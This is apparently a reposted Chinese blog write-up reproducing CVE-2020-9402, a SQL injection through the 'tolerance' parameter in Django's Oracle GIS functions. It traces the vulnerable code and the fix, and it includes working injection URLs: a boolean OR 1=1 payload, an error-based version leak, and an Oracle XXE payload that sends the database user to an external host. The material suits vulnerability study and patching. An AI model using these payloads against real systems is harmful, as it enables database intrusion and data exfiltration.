(CVE-2020-9402)Django_Geo_sql注入

# (CVE-2020-9402)Django Geo sql注入

===================================

一、漏洞简介
————

Django
1.11.29之前的1.11.x版本、2.2.11之前的2.2.x版本和3.0.4之前的3.0.x版本中存在SQL注入漏洞。攻击者可借助特制的SQL语句利用该漏洞查看、添加、修改或删除数据库中的信息。

二、漏洞影响
————

Django
1.11.29之前的1.11.x版本、2.2.11之前的2.2.x版本和3.0.4之前的3.0.x版本中存在SQL注入漏洞

三、复现过程
————

根据官网的修复https://github.com/django/django/commit/6695d29b1c1ce979725816295a26ecc64ae0e927\#diff-229e38ececbfc591f7a5e595bf5707c4,可以看到问题出在GIS的查询上面

![](/static/qingy/(CVE-2020-9402)Django_Geo_sql注入/img/rId24.png)

![](/static/qingy/(CVE-2020-9402)Django_Geo_sql注入/img/rId25.png)

官方只修复了这两个位置,可以发现基本上是对于`tolerance`参数进行判断是否为数字。那首先来了解一下GIS查询。

GIS查询API是一个地理位置的查询API,提供用户存储精确GPS的位置的数据模块,属于一个空间数据库,我们可以通过如下的经纬度信息

pnt = GEOSGeometry(‘POINT(-96.876369 29.905320)’, srid=4326)

>>>SRID=4326;POINT (-96.876369 29.90532)

来获得一个具体的定位信息,通过如下的模块来构建一个基本的地理信息存储

from django.contrib.gis.db import models
class Names(models.Model):
name = models.CharField(max_length=128)

def __str__(self):
return self.name

class Interstate(Names):
path = models.LineStringField()

后台存储的时候发出path的信息为json数据,例如

{“type”:”LineString”,”coordinates”:[[-8167.236601807093,-3286.248045708844],[-7896.285624495958,-3324.9553281818644],[1083.8039092445451,-654.1528375435246]]}

![](/static/qingy/(CVE-2020-9402)Django_Geo_sql注入/img/rId26.png)

我们就获得了一个基本的地理位置数据,同理,通过构造一个聚合的查询方法

def vuln(request):
q = request.GET.get(‘q’)
qs=Interstate.objects.annotate(
d=Distance(
Point(-0.0733675346842369, -0.0295208671625432, srid=4326),
Point(0.009735976166628611, -0.00587635491086091, srid=4326),
tolerance = q, # default 0.05
),
).filter(d=D(m=1)).values(‘name’)

因为官网文档找不到如何构造Point查询,因此为了省事,直接写死了Point数值。。srid为空间参考的投影设置,默认值为4326。其中`tolerance`是对于oracle特殊存在的一个键值,其作用是基本你的容错率,详细的信息可以参考[oracle官方文档](https://docs.oracle.com/en/database/oracle/oracle-database/18/spatl/spatial-concepts.html#GUID-CE10AB14-D5EA-43BA-A647-DAC9EEF41EE6)。对应的查询语句为

SELECT “APP_NAMEDMODEL”.”NAME” FROM “APP_INTERSTATE” INNER JOIN “APP_NAMEDMODEL” ON (“APP_INTERSTATE”.”NAMEDMODEL_PTR_ID” = “APP_NAMEDMODEL”.”ID”) WHERE SDO_GEOM.SDO_DISTANCE(SDO_GEOMETRY(POINT (-0.0733675346842369 -0.0295208671625432),4326), SDO_GEOMETRY(POINT (0.009735976166628611 -0.00587635491086091),4326), 0.05) = 1.0 FETCH FIRST 21 ROWS ONLY;

**0x02代码分析**首先从传入一个url

http://127.0.0.1:8000/vuln/?q=20) = 1 OR 1=1 OR (1%2B1

从`annotate`聚合函数开始跟进,同普通的model函数查询一样,gis查询虽然拥有着单独的model模块,但依旧还是依靠着普通model中进行过滤和查询。从gis的model文件夹中的`__init__.py`文件中看

![](/static/qingy/(CVE-2020-9402)Django_Geo_sql注入/img/rId28.png)

主要的查询依然调用的是django最基本的db方法,而其中单独定义了`function`方法等一些对地理位置插叙独特的方法。程序运行到`/django/db/models/manager.py`文件中的`_get_queryset_methods`后,获取到tolerant参数之后便直接进入到gis模块中进行查询

![](/static/qingy/(CVE-2020-9402)Django_Geo_sql注入/img/rId29.png)

继而进入到`django/contrib/gis/measure.py`文件中的`MeasureBase`类中进行方法调用,那么后面的方法分析可以跳过,因此直接来到漏洞代码段。先来看gis
API中的functions函数,在as\_oracle方法这一段

def as_oracle(self, compiler, connection, **extra_context):
tol = self.extra.get(‘tolerance’, self.tolerance)
return self.as_sql(
compiler, connection,
template=”%%(function)s(%%(expressions)s, %s)” % tol,
**extra_context
)

`tolerance`
从self.extra.get导入,该方法会搜索全局变量的值,如果该值不存在,则直接设置为0.05,并且将其直接传入到新的变量中。之后则不对tol进行任何处理直接拼接到template字符串中并且传入`as_sql`方法。那么官方对于as\_sql的文档是,此方法需要一个SQLCompiler对象,位于`django/db/models/sql/compiler.py`文件中。而我们只需要知道在该对象中有一个`compile()`方法,该方法可以返回一个包含SQL字符串的元祖,而SQLComiler对象中的query变量则是存储直接进行SQL查询语句的SQL命令。从而两个Point分别进入`compile`方法中进行拼接

![](/static/qingy/(CVE-2020-9402)Django_Geo_sql注入/img/rId30.png)

不知道为什么,用pycharm在as\_oracle下断点的时候,第一次到达SQLCompiler的时候,pycharm不会在as\_oracle函数中停下来,而是在第二次查询的时候才会停,但是经过测试确实是在进入SQLCompiler之前调用过as\_orcle函数,可能是pycharm没有正确识别重载函数吧。之后template构造模版也因此进入到`expression.py`中的as\_sql函数中进行字符串构造

![](/static/qingy/(CVE-2020-9402)Django_Geo_sql注入/img/rId31.png)

因此最后进入oracle的命令语句是

SELECT “APP_NAMEDMODEL”.”NAME” FROM “APP_INTERSTATE” INNER JOIN “APP_NAMEDMODEL” ON (“APP_INTERSTATE”.”NAMEDMODEL_PTR_ID” = “APP_NAMEDMODEL”.”ID”) WHERE SDO_GEOM.SDO_DISTANCE(SDO_GEOMETRY(POINT (-0.0733675346842369 -0.0295208671625432),4326), SDO_GEOMETRY(POINT (0.009735976166628611 -0.00587635491086091),4326), 0.05) = 1 OR 1=1 OR (1+1) = 1.0 FETCH FIRST 21 ROWS ONLY;

![](/static/qingy/(CVE-2020-9402)Django_Geo_sql注入/img/rId32.png)

带入数据库中查询

![](/static/qingy/(CVE-2020-9402)Django_Geo_sql注入/img/rId33.png)

![](/static/qingy/(CVE-2020-9402)Django_Geo_sql注入/img/rId34.png)

官方修复的方法就是加入Value函数,判断传入的值是否为数字,否的话直接报错推出。那么第二个注入点就是`Union`了,建立Model

class City(Names):
point = models.PointField() # 点模块

编辑传入的参数为

{“type”:”Point”,”coordinates”:[13250.226757682816,68815.69380603009]}

view中设置查询

from django.contrib.gis.db.models import Union
def vuln2(request):
q = request.GET.get(‘q’)
res = City.objects.aggregate(
Union(‘point’, tolerance=q),
)
return HttpResponse(res)

输入url

http://127.0.0.1:8000/vuln2?q=0.05)))%2C%20(((1

首先看结果,得到的SQL查询语句为

SELECT SDO_UTIL.TO_WKBGEOMETRY(SDO_AGGR_UNION(SDOAGGRTYPE(“APP_CITY”.”POINT”,0.05))), (((1))) AS “POINT__UNION” FROM “APP_CITY”;

![](/static/qingy/(CVE-2020-9402)Django_Geo_sql注入/img/rId35.png)

该aggregate查询方法是GIS查询特定的一种查询方法,为的是与地理查询的语句做适配,用法跟原模块的方法类似。因此跟进GIS模块中的聚合查询方法,位于`django/contrib/gis/db/models/aggregates.py`文件内的as\_oracle方法。

![](/static/qingy/(CVE-2020-9402)Django_Geo_sql注入/img/rId36.png)

同样tolerance没有做任何检查直接传入了template模版语句中,原理与上面annotate查询过程一致。利用有大致两个方法报错注入

http://localhost:8000/test/?q=20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v%24instance)) from dual) is null%20 OR (1%2B1

![](/static/qingy/(CVE-2020-9402)Django_Geo_sql注入/img/rId37.png)

CVE-2014-6577因为Django自2.0以后支持的oracle版本为12以上,因此可以尝试oracle
XXE来进行SQL的注入。同时因为在SQL处理的过程中有三次利用%的模版跳转,因此需要在XMLpayload中的%替换为%%%%,payload为

http://localhost:8000/test/?q=20) = 1 OR (select%20extractvalue(xmltype(‘%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE%20root%20%5B%20%3C!ENTITY%20%25%25%25%25%20remote%20SYSTEM%20%22http%3A%2F%2Fdocker.for.mac.host.internal%3A9000%2F’%7C%7C(SELECT%20user%20from%20dual)%7C%7C’%22%3E%20%25%25%25%25remote%3B%5D%3E’)%2C’%2Fl’)%20from%20dual)%20is%20not%20null OR (1%2B1

![](/static/qingy/(CVE-2020-9402)Django_Geo_sql注入/img/rId38.png)

命令执的话因为是docker起的oracle所以没有设置JAVA的环境,暂时也不能判定有没有,以后再研究看看。

参考链接
——–

> https://xz.aliyun.com/t/7403

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容